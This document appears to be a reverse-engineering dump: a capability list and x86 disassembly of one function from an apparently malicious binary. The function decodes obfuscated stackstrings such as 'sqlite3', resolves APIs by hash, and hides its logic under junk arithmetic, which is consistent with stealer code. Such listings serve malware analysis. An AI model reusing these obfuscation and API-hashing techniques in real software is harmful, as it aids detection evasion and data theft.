Function at 0x41f83b
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x120
xor edx, edx
mov word [esp + 0x108], 0x719
mov byte [esp + 0x10a], 0x13
mov ecx, edx
mov al, byte [esp + ecx + 0x108]
xor al, 0x74
mov byte [esp + ecx + 0x90], al
inc ecx
cmp ecx, 3
jl 0x41f857
mov byte [esp + 0x93], dl
mov ecx, edx
mov dword [esp + 0x98], 0x84878c8e
mov word [esp + 0x9c], 0x808f
mov byte [esp + 0x9e], 0x4e
mov al, byte [esp + ecx + 0x98]
sub al, 0x1b
mov byte [esp + ecx + 0x80], al
inc ecx
cmp ecx, 7
jl 0x41f893
movzx eax, byte [0x42bbd2]
and eax, 0x3165fcf5
mov byte [esp + 0x87], dl
mov dword [0x42bbd4], eax
cmp dword [0x42d248], edx
je 0x41f8fb
movzx eax, byte [0x42bbbd]
mov cl, byte [0x42bbcc]
imul eax, eax, 0x8f
and cl, 0xd1
mov byte [0x42bbbd], al
add al, 0x48
add cl, 0x51
mov byte [0x42bbcc], al
mov byte [0x42bbd2], cl
mov al, 1
jmp 0x420361
xor al, 0x4d
mov byte [esp + 0x10f], dl
mov byte [0x42bbbd], al
lea edx, [esp + 0x80]
movzx eax, al
lea ecx, [esp + 0x90]
imul eax, eax, 0x4a
push ebx
push esi
push edi
mov byte [0x42bbcc], al
movzx eax, al
and eax, 0xc070a90c
mov dword [0x42bbd4], eax
call fcn.0041d87d
mov edi, eax
mov dword [esp + 0x98], edi
test edi, edi
je 0x4202d6
mov dl, byte [0x42bbcc]
lea eax, [esp + 0xa8]
movzx ecx, dl
or dl, 0xa5
imul ecx, ecx, 0x9d
xor dl, 0xa6
push eax
add dl, 0x4c
push edi
mov byte [0x42bbbd], dl
mov byte [0x42bbd2], cl
call fcn.00405b40
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0040f780
mov edx, dword [0x42bbd4]
mov bl, dl
pop ecx
movzx ecx, dl
xor bl, 0xbe
imul ecx, ecx, 0xd1
mov dword [esp + 0xb0], eax
mov byte [0x42bbbd], bl
mov byte [0x42bbd2], cl
test eax, eax
je 0x41fc15
and dl, 0x99
or bl, 0x5a
push 0x400
mov byte [0x42bbd2], bl
mov byte [0x42bbcc], dl
call fcn.0040570b
pop ecx
movzx ecx, byte [0x42bbd2]
mov esi, eax
imul edx, ecx, 0xca
mov byte [0x42bbcc], dl
test esi, esi
je 0x41fbee
movzx ecx, byte [0x42bbbd]
xor dl, 0xe2
mov al, dl
or ecx, 0x7b907346
xor dl, 6
mov dword [0x42bbd4], ecx
and dl, 0x1e
xor ecx, ecx
or al, 0x1c
mov byte [0x42bbbd], dl
push esi
push 0x200
mov edx, 0xd016cbb7
mov byte [0x42bbd2], al
inc ecx
call fcn.0041568d
call eax
test eax, eax
je 0x41fbee
push 0x41
mov dword [esp + 0x118], 0xadada56f
xor ecx, ecx
pop ebx
movzx eax, byte [esp + ecx + 0x114]
mov edx, 0xff
sub ax, bx
and ax, dx
mov word [esp + ecx*2 + 0x11c], ax
inc ecx
cmp ecx, 4
jl 0x41fa46
mov edx, dword [0x42bbd4]
xor eax, eax
xor edx, 0x2d5e0231
mov word [esp + 0x124], ax
mov dword [0x42bbd4], edx
mov cl, 0xfe
or dl, 0xce
movzx eax, dl
imul eax, eax, 0x3f
mov byte [0x42bbbd], dl
xor dl, 0x96
push esi
mov byte [0x42bbcc], dl
sub cl, al
mov byte [0x42bbd2], cl
call fcn.0040581e
mov dl, byte [0x42bbcc]
pop ecx
sub dl, 0x7d
mov dword [esp + 0x94], eax
movzx eax, word [esi + eax*2 - 2]
movzx ecx, dl
or ecx, 0x2fa1ac6e
mov dword [esp + 0x114], eax
imul ebx, ecx, 0xbe958eb2
mov cl, dl
push 0x5c
pop edi
cmp word [esp + 0x114], di
mov edi, dword [esp + 0x98]
mov dword [0x42bbd4], ebx
mov eax, ebx
je 0x41fb35
cmp word [esp + 0x114], 0x2f
je 0x41fb35
mov ecx, dword [esp + 0x94]
push 0x5c
pop eax
mov word [esi + ecx*2], ax
mov al, dl
or al, 0x7a
add al, 2
mov byte [0x42bbbd], al
lea eax, [ebx - 0x8dfa362]
xor ebx, ebx
xor eax, 0xbb5d9911
mov word [esi + ecx*2 + 2], bx
mov cl, dl
mov dword [0x42bbd4], eax
or cl, 0x6d
or cl, 0x5b
add al, 0x77
mov byte [0x42bbcc], cl
lea ecx, [esp + 0x34]
push 0x10
pop edx
mov byte [0x42bbd2], al
call fcn.00422997
mov al, byte [0x42bbcc]
and al, 0xf3
mov byte [0x42bbbd], al
lea eax, [esp + 0x34]
push eax
push esi
call fcn.00405bcb
mov al, byte [0x42bbd4]
xor byte [0x42bbbd], 0xc5
and al, 0x36
mov byte [0x42bbd2], al
lea eax, [esp + 0x124]
push eax
push esi
call fcn.00405bcb
mov al, byte [0x42bbd4]
mov ecx, esi
push dword [esp + 0xb8]
mov ebx, dword [esp + 0xc4]
add al, 0x77
mov byte [0x42bbcc], al
mov edx, ebx
mov al, byte [0x42bbd2]
add al, 0x61
mov byte [0x42bbbd], al
call fcn.00422b4f
add esp, 0x14
test al, al
je 0x41fbf5
movzx eax, byte [0x42bbd2]
xor eax, 0x80
mov byte [esp + 0x11b], 1
or eax, 0x926aa7f
mov dword [0x42d244], esi
mov dword [0x42bbd4], eax
add al, 0x66
mov byte [0x42bbd2], al
sub al, 0x1b
jmp 0x41fbfa
mov ebx, dword [esp + 0xb0]
mov al, byte [0x42bbbd]
or al, 0x94
mov byte [0x42bbbd], al
sub al, 0x48
push ebx
mov byte [0x42bbcc], al
call fcn.004056f0
mov edx, dword [0x42bbd4]
pop ecx
movzx eax, dl
imul eax, eax, 9
push edi
not al
mov byte [0x42bbbd], al
movzx eax, al
add eax, 0x727270d1
mov dword [0x42bbd4], eax
call fcn.004056f0
pop ecx
mov cl, byte [0x42bbbd]
and cl, 0x78
cmp byte [esp + 0x11b], 0
mov dl, cl
je 0x4202e8
mov al, byte [0x42bbcc]
xor ecx, ecx
push dword [0x42d244]
or al, 0xc8
xor bh, bh
mov edx, 0xf6e264ab
mov byte [0x42bbd2], al
inc ecx
mov byte [0x42bbbd], bh
call fcn.0041568d
call eax
mov bl, byte [0x42bbd4]
mov esi, eax
mov dl, bl
mov dword [0x42d248], esi
and dl, 0x83
mov byte [0x42bbd2], dl
lea ecx, [ebx - 0x1d]
test esi, esi
je 0x42023b
mov dword [esp + 0x11c], 0x7174696b
xor ecx, ecx
mov dword [esp + 0x120], 0x472b7d6c
mov dword [esp + 0x124], 0x767d6877
mov al, byte [esp + ecx + 0x11c]
xor al, 0x18
mov byte [esp + ecx + 0xa0], al
inc ecx
cmp ecx, 0xc
jl 0x41fcbf
mov byte [esp + 0xac], 0
xor ecx, ecx
mov dword [esp + 0x104], 0x7b7e8385
mov dword [esp + 0x108], 0x71457786
mov dword [esp + 0x10c], 0x80778281
mov word [esp + 0x110], 0x8871
mov byte [esp + 0x112], 0x44
mov al, byte [esp + ecx + 0x104]
sub al, 0x12
mov byte [esp + ecx + 0x7c], al
inc ecx
cmp ecx, 0xf
jl 0x41fd12
mov byte [esp + 0x8b], 0
xor ecx, ecx
mov dword [esp + 0xf0], 0xe1e4f9fb
mov dword [esp + 0xf4], 0xd7bbedfc
mov dword [esp + 0xf8], 0xf8edfaf8
mov dword [esp + 0xfc], 0xd7edfae9
mov word [esp + 0x100], 0xbafe
mov al, byte [esp + ecx + 0xf0]
xor al, 0x88
mov byte [esp + ecx + 0x54], al
inc ecx
cmp ecx, 0x12
jl 0x41fd65
mov byte [esp + 0x66], 0
xor ecx, ecx
mov dword [esp + 0x11c], 0x12170a08
mov dword [esp + 0x120], 0x24481e0f
mov dword [esp + 0x124], 0xb1e0f08
mov al, byte [esp + ecx + 0x11c]
xor al, 0x7b
mov byte [esp + ecx + 0xf4], al
inc ecx
cmp ecx, 0xc
jl 0x41fda0
mov byte [esp + 0x100], 0
xor ecx, ecx
mov dword [esp + 0xdc], 0xb5b0adaf
mov dword [esp + 0xe0], 0x83efb9a8
mov dword [esp + 0xe4], 0xa9b0b3bf
mov dword [esp + 0xe8], 0xa883b2b1
mov word [esp + 0xec], 0xa4b9
mov byte [esp + 0xee], 0xa8
mov al, byte [esp + ecx + 0xdc]
xor al, 0xdc
mov byte [esp + ecx + 0x20], al
inc ecx
cmp ecx, 0x13
jl 0x41fdfe
push 0x41
pop eax
mov byte [esp + 0x33], 0
xor ecx, ecx
mov dword [esp + 0xc8], 0x4b4e5355
mov word [esp + 0xcc], 0x4756
mov byte [esp + 0xce], 0x15
mov byte [esp + 0xcf], al
mov dword [esp + 0xd0], 0x574e5145
mov word [esp + 0xd4], 0x504f
mov byte [esp + 0xd6], al
mov dword [esp + 0xd7], 0x44514e44
mov al, byte [esp + ecx + 0xc8]
add al, 0x1e
mov byte [esp + ecx + 0xc], al
inc ecx
cmp ecx, 0x13
jl 0x41fe66
movaps xmm1, xmmword [str.________________AAAAAAAAAAAAAAAAuuuuuuuuuuuuuuuu]
xor ecx, ecx
push 0x41
pop eax
mov word [esp + 0x104], 0x494b
mov byte [esp + 0x106], 0x44
mov byte [esp + 0x107], al
mov dword [esp + 0x108], 0x370b3d4c
mov byte [esp + 0x10c], 0x3e
mov byte [esp + 0x10d], al
mov word [esp + 0x10e], 0x3946
mov byte [esp + 0x110], 0x44
mov byte [esp + 0x111], al
mov word [esp + 0x112], 0x3d52
movups xmm0, xmmword [esp + 0x104]
mov byte [esp + 0x1f], 0
mov byte [esp + 0x78], 0
paddb xmm1, xmm0
mov dword [esp + 0x11c], 0x878a8f91
movups xmmword [esp + 0x68], xmm1
mov dword [esp + 0x120], 0x7d518392
mov dword [esp + 0x124], 0x918d8a81
mov byte [esp + 0x128], 0x83
mov al, byte [esp + ecx + 0x11c]
sub al, 0x1e
mov byte [esp + ecx + 0x104], al
inc ecx
cmp ecx, 0xd
jl 0x41ff1f
mov byte [esp + 0x111], 0
xor ecx, ecx
mov dword [esp + 0xb4], 0x9b9e8381
mov dword [esp + 0xb8], 0xadc19786
mov dword [esp + 0xbc], 0x879e9d91
mov dword [esp + 0xc0], 0x90ad9c9f
mov dword [esp + 0xc4], 0x8197868b
mov al, byte [esp + ecx + 0xb4]
xor al, 0xf2
mov byte [esp + ecx + 0x3c], al
inc ecx
cmp ecx, 0x14
jl 0x41ff76
movzx eax, dl
mov edi, 0x42c790
imul eax, eax, 0x54
sub bl, 2
push 0x24
push 0
push edi
mov byte [esp + 0x5c], 0
mov byte [0x42bbbd], bl
mov byte [0x42bbcc], al
call fcn.00403960
movzx eax, byte [0x42bbd2]
add esp, 0xc
add byte [0x42bbbd], 0xe9
xor eax, 0x7d73e774
mov dword [0x42bbd4], eax
xor ecx, ecx
or al, 0xb5
mov esi, 0x779af737
mov byte [0x42bbcc], al
mov edx, esi
lea eax, [esp + 0xa0]
inc ecx
push eax
push dword [0x42d248]
call fcn.0041568d
call eax
mov ecx, dword [0x42bbd4]
mov edx, esi
and byte [0x42bbd2], 0x14
mov dword [0x42c790], eax
movzx eax, cl
sub ecx, 0xce058c8
imul eax, eax, 0xc2
mov dword [0x42bbd4], ecx
xor ecx, ecx
inc ecx
mov byte [0x42bbbd], al
lea eax, [esp + 0x7c]
push eax
push dword [0x42d248]
call fcn.0041568d
call eax
mov cl, byte [0x42bbbd]
mov edx, esi
add cl, 0x3d
mov dword [0x42c794], eax
movzx eax, cl
xor eax, 0x626401c2
mov byte [0x42bbbd], cl
mov dword [0x42bbd4], eax
movzx eax, cl
xor ecx, ecx
imul eax, eax, 0x6e
inc ecx
mov byte [0x42bbcc], al
lea eax, [esp + 0x54]
push eax
push dword [0x42d248]
call fcn.0041568d
call eax
mov dword [0x42c798], eax
xor ecx, ecx
mov al, byte [0x42bbd4]
mov edx, esi
sub al, 0x5c
inc ecx
mov byte [0x42bbd2], al
movzx eax, byte [0x42bbbd]
imul eax, eax, 0x608424fd
mov dword [0x42bbd4], eax
lea eax, [esp + 0xf4]
push eax
push dword [0x42d248]
call fcn.0041568d
call eax
mov dword [0x42c79c], eax
movzx eax, byte [0x42bbcc]
xor eax, 0x90f19e80
mov dword [0x42bbd4], eax
mov al, byte [0x42bbbd]
xor al, 0x82
xor ecx, ecx
mov byte [0x42bbd2], al
mov edx, esi
lea eax, [esp + 0x20]
inc ecx
push eax
push dword [0x42d248]
call fcn.0041568d
call eax
mov dword [0x42c7a0], eax
xor ecx, ecx
mov al, byte [0x42bbcc]
mov edx, esi
xor al, 0xd2
inc ecx
mov byte [0x42bbd2], al
lea eax, [esp + 0xc]
push eax
push dword [0x42d248]
call fcn.0041568d
call eax
mov dword [0x42c7a4], eax
xor ecx, ecx
movzx eax, byte [0x42bbbd]
mov edx, esi
imul eax, eax, 0x55
inc ecx
mov byte [0x42bbbd], al
lea eax, [esp + 0x68]
push eax
push dword [0x42d248]
call fcn.0041568d
call eax
mov dword [0x42c7a8], eax
xor ecx, ecx
mov al, byte [0x42bbbd]
mov edx, esi
and al, 0x84
inc ecx
mov byte [0x42bbcc], al
lea eax, [esp + 0x104]
push eax
push dword [0x42d248]
call fcn.0041568d
call eax
mov dword [0x42c7ac], eax
xor ecx, ecx
mov al, byte [0x42bbd4]
mov edx, esi
and al, 0x6f
inc ecx
mov byte [0x42bbcc], al
lea eax, [esp + 0x3c]
push eax
push dword [0x42d248]
call fcn.0041568d
call eax
mov dl, byte [0x42bbd4]
or dl, 0x74
mov dword [0x42c7b0], eax
cmp dword [0x42c790], 0
je 0x4201f7
cmp dword [0x42c798], 0
je 0x4201f7
cmp dword [0x42c79c], 0
je 0x4201f7
cmp dword [0x42c7a0], 0
je 0x4201f7
cmp dword [0x42c7a8], 0
je 0x4201f7
cmp dword [0x42c7ac], 0
je 0x4201f7
cmp dword [0x42c794], 0
je 0x4201f7
test eax, eax
je 0x4201f7
cmp dword [0x42c7a4], 0
je 0x4201f7
mov cl, dl
mov bh, 1
and cl, 0x7f
jmp 0x420235
mov cl, byte [0x42bbcc]
mov al, cl
xor al, 0x42
mov byte [0x42bbd2], al
movzx eax, cl
and cl, 0xef
push 0x24
add eax, 0x7c279248
mov byte [0x42bbbd], cl
push 0
push edi
mov dword [0x42bbd4], eax
call fcn.00403960
mov dl, byte [0x42bbd2]
add esp, 0xc
mov cl, byte [0x42bbcc]
mov esi, dword [0x42d248]
mov bl, byte [0x42bbbd]
movzx eax, dl
add eax, 0x5580a423
mov dword [0x42bbd4], eax
lea edx, [ebx + 0x3e]
test bh, bh
jne 0x4202b6
test esi, esi
je 0x4202b6
and cl, 0x48
movzx eax, bl
imul eax, eax, 0xf1
or cl, 5
mov byte [0x42bbcc], cl
mov edx, 0xaf12bdb1
add cl, 0x1e
mov byte [0x42bbbd], cl
xor ecx, ecx
push esi
mov byte [0x42bbd2], al
inc ecx
movzx eax, al
or eax, 0xd2999270
mov dword [0x42bbd4], eax
call fcn.0041568d
call eax
mov dl, byte [0x42bbd2]
movzx eax, dl
xor eax, 0x6b
add eax, 0x9092dcbb
and dword [0x42d248], 0
mov dword [0x42bbd4], eax
or dl, 0xb
add al, 0x48
mov byte [0x42bbbd], dl
xor dl, 0x72
mov byte [0x42bbcc], al
mov al, bh
mov byte [0x42bbd2], dl
jmp 0x42035e
movzx eax, byte [0x42bbd2]
imul ecx, eax, 0xc2
and cl, 0x78
mov dl, cl
mov esi, dword [0x42d244]
add cl, 0x3e
xor bl, bl
mov byte [0x42bbbd], cl
mov byte [0x42bbd2], bl
test esi, esi
je 0x420344
xor dl, 0x9f
movzx eax, cl
sub dl, 3
and eax, 0x4a790ce0
mov byte [0x42bbcc], dl
sub dl, 0x64
push esi
mov dword [0x42bbd4], eax
mov byte [0x42bbd2], dl
call fcn.004056f0
mov bl, byte [0x42bbd2]
mov al, bl
add al, 0x4a
and dword [0x42d244], 0
pop ecx
mov byte [0x42bbbd], al
mov cl, al
movzx eax, cl
sub eax, 0x77170476
mov dword [0x42bbd4], eax
movzx eax, bl
imul eax, eax, 0x7e
mov byte [0x42bbcc], al
xor al, al
pop edi
pop esi
pop ebx
add esp, 0x120
ret